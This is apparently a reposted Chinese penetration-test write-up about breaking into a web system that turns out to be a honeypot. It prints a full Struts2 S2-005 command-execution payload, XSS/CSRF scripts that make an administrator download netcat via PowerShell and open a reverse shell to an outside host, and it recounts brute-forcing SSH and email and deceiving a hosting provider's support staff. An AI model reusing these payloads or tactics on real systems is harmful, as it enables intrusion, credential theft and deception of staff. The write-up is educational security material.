33

“来骗、来偷袭”攻击我这脆弱的“老”系统,不讲“武”德!

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA%3D%3D&%3Bmid=2247490888&%3Bidx=1&%3Bsn=f9031b2b003e03fe836a37257c711103
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这是  酒仙桥六号部队  的第 143   篇文章。

全文共计6925个字,预计阅读时长20分钟

在渗透测试中,有这么一句俗语:"一杯茶、一包烟、一个破站盯一天"。因为会有N多种场景暴露在任务当中, 如果 心态提前崩溃的话,可能会前功尽弃。

为了方便大家阅读简单,在文章开头我们先简单梳理渗透流程。

vIziUn.png!mobile

渗透成功

突然接到一个系统的测试,非常紧急,拿到目标后,大概看了看,当然这个漏洞很老了,很少有的了,运气好碰到了。还是个 Struts2 远程命令执行。

biY7FvV.png!mobile

Struts2-005 是由于官方在修补 Struts2-003 不全面导致绕过补丁造成的。我们都知道访问 Ognl 的上下文对象必须要使用#符号, S2-003 对#号进行过滤,但是没有考虑到 unicode 编码情况,导致 \u0023 或者8进制 \43 绕过。 S2-005 则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

ya22uyN.png!mobile

Poc:


?(\'\\u0023context\[\\\'xwork.MethodAccessor.denyMethodExecution\\\'\]\\u003dfalse\')(bla)(bla)&(\'\\u0023_memberAccess.excludeProperties\\u003d\@java.util.Collections\@EMPTY_SET\')(kxlzx)(kxlzx)&(\'\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue\')(bla)(bla)&(\'\\u0023mycmd\\u003d\\\'ipconfig\\\'\')(bla)(bla)&(\'\\u0023myret\\u003d\@java.lang.Runtime\@getRuntime().exec(\\u0023mycmd)\')(bla)(bla)&(A)((\'\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())\')(bla))&(B)((\'\\u0023myres\\u003dnew\\40byte\[51020\]\')(bla))&(C)((\'\\u0023mydat.readFully(\\u0023myres)\')(bla))&(D)((\'\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)\')(bla))&(\'\\u0023myout\\u003d\@org.apache.struts2.ServletActionContext\@getResponse()\')(bla)(bla)&(E)((\'\\u0023myout.getWriter().println(\\u0023mystr)\')(bla))

成功GetSehll后发现里面的环境很多,支持: PythonJavaPHP 等。推测是个集成环境的服务器。我以为是 Linux ,进去一看 Windows ,这倒还好,应该比较容易提权...就没太在意。烟灰缸里的烟头和已经空空如也的保温杯也提醒我今晚上可以收工了。只等明天睡到自然醒,提权+内网漫游,美滋滋!

6vmmYr7.png!mobile

沏上茶,点上烟,回来准备内网渗透的时候...

权限丢失

回来准备内网渗透的时候发现权限没维持好,给弄丢了。心急如焚,闹心吧啦的。

R3mi2au.png!mobile

于是再次从原来的路径尝试,发现漏洞也已经被修复了,原来打入的 WebShell 也随之消失了,心里顿时"咯噔"一下...

n6RjiqM.png!mobile

这我就不乐意了。于是我开启了新的一轮收集,发现 3306-MySql 服务是开放的,尝试连接了下,结果还失败了,说明该服务拒绝了外部连接。

jyAfyym.png!mobile

再次渗透

在主站重新逛了一下没找到其他可以利用的漏洞的地方,渗透陷入了僵局。只能再次进行信息收集,使用rad浏览器爬虫对主站进行爬虫。

qYrAriv.png!mobile

rad ,全名 Radium ,名字来源于放射性元素------镭, 从一个URL开始,辐射到一整个站点空间,一款专为安全扫描而生的浏览器爬虫。

------------by 官方介绍

Github: <https://github.com/chaitin/rad/releases>

Rad 没让我失望,没用多长时间就有了新的收获,它找到了一个IP,上面80端口部署着一个疑似目标的应用。

UJvyQza.gif!mobile

逛了一下,发现有可交互的地方,于是尝试XSS跨站脚本的方式来做个切入点。

bUZfQjb.jpg!mobile

简单的构造了下 XSS 语句,结果存在 XSS 跨站,可以执行前端语句,说明可以渲染了。决定碰运气盲打下,于是我找到了一个类似留言、咨询类似的功能尝试下。前提是要自己搭建好 XSS 跨站脚本平台。

ymyuMrF.png!mobile

备注:关于 XSS 跨站脚本平台,如果不懂其中的意思,读者可以自行百度学习。

UNziay6.png!mobile

大概过了至少得1个月之后吧,收到了 Cookie ,这算运气好的了,也有甚至2年,甚至更长的时间没有收到。原因很简单,要么 XSS 不存在,要么漏洞已经修复了,没赶上管理员点开看。要么 XSS 在出去的时候 Cookie 被拦截了,要么就是系统已经不存在了等各种原因会出现收不到的情况。

成功后,会有相关的记录飞到你所搭建的 XSS 跨站平台内。

yiMreqr.png!mobile

qI77zma.jpg!mobile

进入后台

开始逐步登录到后台系统中一探究竟,因后台有点繁琐,且不方便透露过多的信息,就用文字大概描述下。

-账户管理

|

-------账户管理(增、删、改、查账户)

|

-------权限管理(增、删、改、查权限)

-内容管理

|

-------文章管理(增、删、改、查文章)

|

-------图片管理(增、删、改、查图片)

|

-------留言管理(删、查留言)

-数据分析

|

-------SEO优化(增、删、改、查内容搜索关键字)

|

-------访问量/点击率(查询访问量/点击率)

|

-------数据导出(选中数据后,一键导出)

-关于后台

|

-------后台信息(查询信息)

|

-------技术支持(查询信息)

列举了常见的后台功能,可以逐一的给予大面上的分析。如果在一个渗透测试的视角来看的话。大概得都尝试下,比如: XSSCSRFSSRF后台SQL盲注文件上传文件下载文件包含水平越权垂直越权信息泄露URL跳转 等漏洞攻击点。我尝试出的点在于: 数据导出 ,存在文件下载漏洞点。

扫描探测

问题来了,我要下载谁?目录从哪里获得?这里采用了一个比较笨的办法,就是目录/文件扫描探测。所以我打算用下这款工具了。

I7nIzua.png!mobile

这里需要注意的是,文件字典你可以自定义,也可以去下载。但是在这里我用了叠加扫描手法。比如我扫描出了目标: <http://www.xxxxxx.com/admin/> 目录,正常来说是后台,可以先访问下,但是我想试试admin后面是否还有目录?那我在扫描的时候就直接写 [http://www.xxxxxx.com/admin/ 的方式继续扫描 /admin/ 目录后面的内容即可了。因为目录的后面大概率跟随的是文件。例如: 配置文件 等敏感文件。

接着回到这个站,可能由于目录探测工具和这个站八字不合,换了几个字典也没碰到。不过不要慌,现在目录探测工具种类繁多,并且自带字典各有不同,换几个目录探测工具试试。

漫长的等待之后 gobuster 给我了惊喜,发现了个新目录 /updatacheck

Zf2m2an.png!mobile

其他目录访问重定向到首页,但是/updatecheck重定向到了:

<http://updatecheck.xxxxxx.com/update/update.html>

页面存在任意文件下载漏洞。

文件下载

扫描文件的话就更随意了,工具也很随意。因为我的终极目标是找到相关的 confconfig 类似的配置文件,我要利用文件下载漏洞给把配置文件下载出来。

uAnuIbN.png!mobile

出现了站库分离的情况了...很简单的理解,数据库、网站,压根不在同1个服务器上。

于是我开始尝试连接该服务器的 MySql...

jyAfyym.png!mobile

不行,看来只有所在网站服务器的IP地址是数据库的白名单...

iiueYbU.jpg!mobile

暴力破解

于是我开始尝试该数据库IP地址的其他端口服务扫描探测,打开了一个 22 端口的 SSH ,看来大概率的该数据库后台服务器是个 Linux ,目前针对 22 端口的 SSH 服务,只能尝试暴力破解来碰运气了。爆破之前,我先去百度查个资料。

eUBr6be.png!mobile

爆破总得长个心眼,不光 SSH ,哪怕是 WEB 登录界面的爆破,我都会去尝试搜索下弱口令 top100top1000 的方式集成到个人字典当中。

爆破的过程漫长且乏味~

不能坐以待毙,能否对服务器运营商下手呢。

找到了服务器运营商的官网,点击在线客服当触发 QQ 客服的那一刻,脸上露出了邪魅的一笑。

E3mQZ3n.png!mobile

来骗这个客服小同志,看看能不能获取点有用信息。

3Ij2A3R.png!mobile

你kin你擦,还提供购买帐号密码(没有),既然戏已经开始了我必须演下去。

eyyM7z2.png!mobile

自己选择的路,含泪我也要走完。去官网注册个帐号,发现找回密码需要短信验证码,看来我得继续骗这个客服小同志了。

FzIFzae.png!mobile

好家伙,毛都没套出来,把自己手机号还搭进去了,生活总是如此苦涩。

EjQbymi.jpg!mobile

坐等电话,虽然感觉没什么戏了,但是依然要相信有光,这个世界是有奥特曼的!!!

经过了将近半小时的等待,电话中让我提供注册时候的姓名和身份证信息,行吧~彻底凉凉了。

niyYrae.png!mobile

继续等待我的爆破结果吧,大意了,没有闪...,经过漫长的过程之后,回来看一下结果,嘿嘿,运气还阔以。

QNJJNf.png!mobile

n6jm2uU.jpg!mobile

欢喜皆空

连接进去,我第一件事情就是满足我的好奇心,去 MySql 数据库看一眼...

MZnqYnr.png!mobile

得了,等着哭吧,是个默认的数据库,里面的数据是空的,难道...我下载的配置文件是错误的?是个假的?这让我的渗透测试之旅又开始产生了大量的怀疑。打了半天...居然是个错误的道路...该服务器大概也翻了下,确实没啥东西。于是我暂时放弃了该服务器的搜寻,折回到了我的起点,继续寻找其他漏洞。

我返回到了后台-账号管理功能,随机添加了一个简易的账号,并尝试登陆,我打算尝试下后台登录口,是否存在SQL注入?

AjqUFbv.png!mobile

结果还是不行,手工也尝试了下,也是不可以。

FnuMV3F.jpg!mobile

无计可施,只能转回到后台的包中翻翻垃圾。功夫不负有心人,在后台的中找到了一个有趣的参数 cmd=

zmuqMnA.png!mobile

下执行命令,只允许 localhost 的请求使用这个功能。

3aa6zqi.png!mobile

而且目前只能执行 dir 命令。

6vEVneI.png!mobile

不慌先吃口药,这个限制只要我们找到一处 ssrf 就能完美绕过。至于只能执行 dir 命令的限制,根据经验来说问题不是很大。我们解决 IP 限制后 fuzz 下就有机会。

vQfYVfZ.gif!mobile

备注:关于 ssrf 服务器端请求伪造,如果不懂其中的意思,读者可以自行百度学习。

很可惜我没有找到 ssrf ,只扫到了 csrf 。想想我们手里面都有什么能用上:

一个只能 localhost 利用的 cmd

一个存储的 xss 漏洞

一个没有什么用的后台管理员账号

csrf 漏洞

BjENVnj.jpg!mobile

我们可以通过 xss+csrf 组合拳'让管理员帮我们执行一下命令。

首先我们需要一个 xss payload ,#####让管理员触发 xss 时候执行命令。

<img src='1' onerror=prompt(document.cookie)/>

然后我们需要一个csrf payload,

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxxxxxxx.com/api/setrole");


xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

xss+csrf 结合 ping 到我们的 IP 来看看。

<script type="text/javascript">
var xhr = new XMLHttpRequest();
var url='http:// xxx.xxx.xxx.xxx/admin/xxxxxxxxx.php';
var params='cmd=dir | ping xxx.xxx.xxx.xxx';
xhr.open("POST",url,ture);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send(params);</script>

测试

Wireshark 监控到服务器的 ICMP 报文,目标主机已经发送长 ping 到我的公网服务器。

jiyYnyI.png!mobile

既然可以执行命令了,那上个NC上去。

<script type="text/javascript">var xhr = new XMLHttpRequest();var url='admin/xxxxxxxxx.php';var params='cmd=dir | powershell -c "iwr -uri http://xxx.xxx.xxx.xxx/nc.exe -outfile %temp%/nncc.exe";%temp%/nncc.exe xxx.xxx.xxx.xxx 1234 -e powershell.exe';
xhr.open("POST",url,ture);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send(params);</script>

使用powershell下载nc。

powershell -c "iwr -uri xxx.xxx.xxx.xxx/nc.exe -outfile %temp%/nncc.exe"

NC 反连回来,我们可以查看一下主机的环境。

%temp%/nncc.exe xxx.xxx.xxx.xxx 1234 -e powershell.exe

umm2y22.png!mobile

没有域控,没有 AV 。二话不说先上个 CS 上去,然后再藏个冰蝎进去,防止掉权限。然后我要翻翻把我引到弯路的数据库配置文件,还是那个数据库,没什么东西,为什么?

把服务器和应用里里外外仔细检查一遍。

1.用户登录最后登录是几个月之前;

2.大数据关联这个 IP 近几个月访问量很少;

3.数据库日志交互也特别特别少;

4.也没有和其他服务器交互记录;

5.无法横向移动,只与数据库互通,疑似在 DMZ 区或测试区。

从得到的信息来看这应该是一个测试区或者 DMZ 区的测试系统,或者这就是一个蜜罐系统。顺着这个思路查下一整年的记录,8月之前居然没有这个地址,确定了这是一个高交互的 web 蜜罐,惊出我一身冷汗,毕竟出门搞站要保护好自己。

还是先检查下本地电脑和网络:

1.没多个键盘或鼠标,没有异常外连,没有奇怪端口。

2.全程使用的是虚拟机,浏览器什么的都是新的,没有下载 VPN 安装包,桌面上用户 .doc 之类文件。

3. 利用nc连接webshell 过程中都用的服务器或者挂着代理池。

AJNjArV.png!mobile

果然,给我服务器打了个标签, "2020你懂的" 。心里暗呼侥幸,应该只露了个服务器。偷偷的找个半夜三更的时候上去把蜜罐服务器弱口令改掉改成一个特别长特别安全的密码,顺便把执行命令的功能关闭(我(gei)真(wo)是(zheng)个(qu)善(yi)良(xie)的(shi)人(jian)),把冰蝎马和cs马都干掉。日志和其他记录就懒得清理了,蜜罐上应该有另外保存,清理也没有什么用。

jqMz6bR.jpg!mobile

邮件泄露

这个时候我开始大量的翻阅 HTML源代码JS源代码 ,希望可以找到一些蛛丝马迹可使用。大概看了30多分钟...

BnYNv2a.png!mobile

发现了一个主流 JqueryJS框架 被对方开发人员做了维护...得知这个姓名,我开始大概率的制作字典,尝试在邮箱系统入手。

MVz6N3J.png!mobile

弱口令密码暴力破解该员工的邮箱密码...这个邮箱系统,还有验证码,我大概看了下,这个验证码是数字+字母四位验证码,图片非常清晰,这个条件非常适合暴力破解。

yMBFZvZ.png!mobile

mmQVNze.png!mobile

根据 BurpSuite 的状态码、返回值长度可以判断密码的正确与否。由于系统的特殊性,我大概尝试了多组的暴力破解,终于锁定出了最终密码: "姓名大小写组合+123456" ,尝试登陆下是OK的。

zIFZnm3.png!mobile

从邮件内容来看,轻而易举的可以获取到 账号密码IP地址 等多个维度的信息。系统有点那么"不攻自破"的感觉...居然输在了邮件上?

bMbIZz7.png!mobile

ea2Y3q.jpg!mobile

总结

无论是信息收集阶段,还是漏洞扫描阶段,还是最终的漏洞利用阶段也好,不可能一下子把每个阶段做的非常完美,遇到麻烦或心态爆炸的时候,回原地再看看,这几个渗透测试流程在走一遍,或者切换不同的视角在跑一次,跟小伙伴聊聊天碰撞下思路,也许会为你难点工作上点亮新的 "奇淫巧技" 。有可能攻破1个系统所用的技术并不是非常艰难,只不过恰好"那一个点"你没想到而已。

根据此案例所反映出的情况来看,最终失败的点归根结底还是偏向:信息安全当中的 "安全意识" 问题,如果日常你的办公所用的密码能够多个大小写字母、数字、特殊符号等方式组合,也不至于成现在这个样子。乃至于,密码更换的周期如果再频繁一些,那就更好了。 "安全意识" 并不是在企业里上一节课,或者听某个牛逼的老师给你建议就可以 OK 搞定,它是一个非常需要注重的细节,乃至生活当中也要融入这个细节,养成:所谓的 "安全意识"

ANbam2u.jpg!mobile

jq2Ufm2.png!mobile

URNZJnR.png!mobile

jayqYjj.png!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK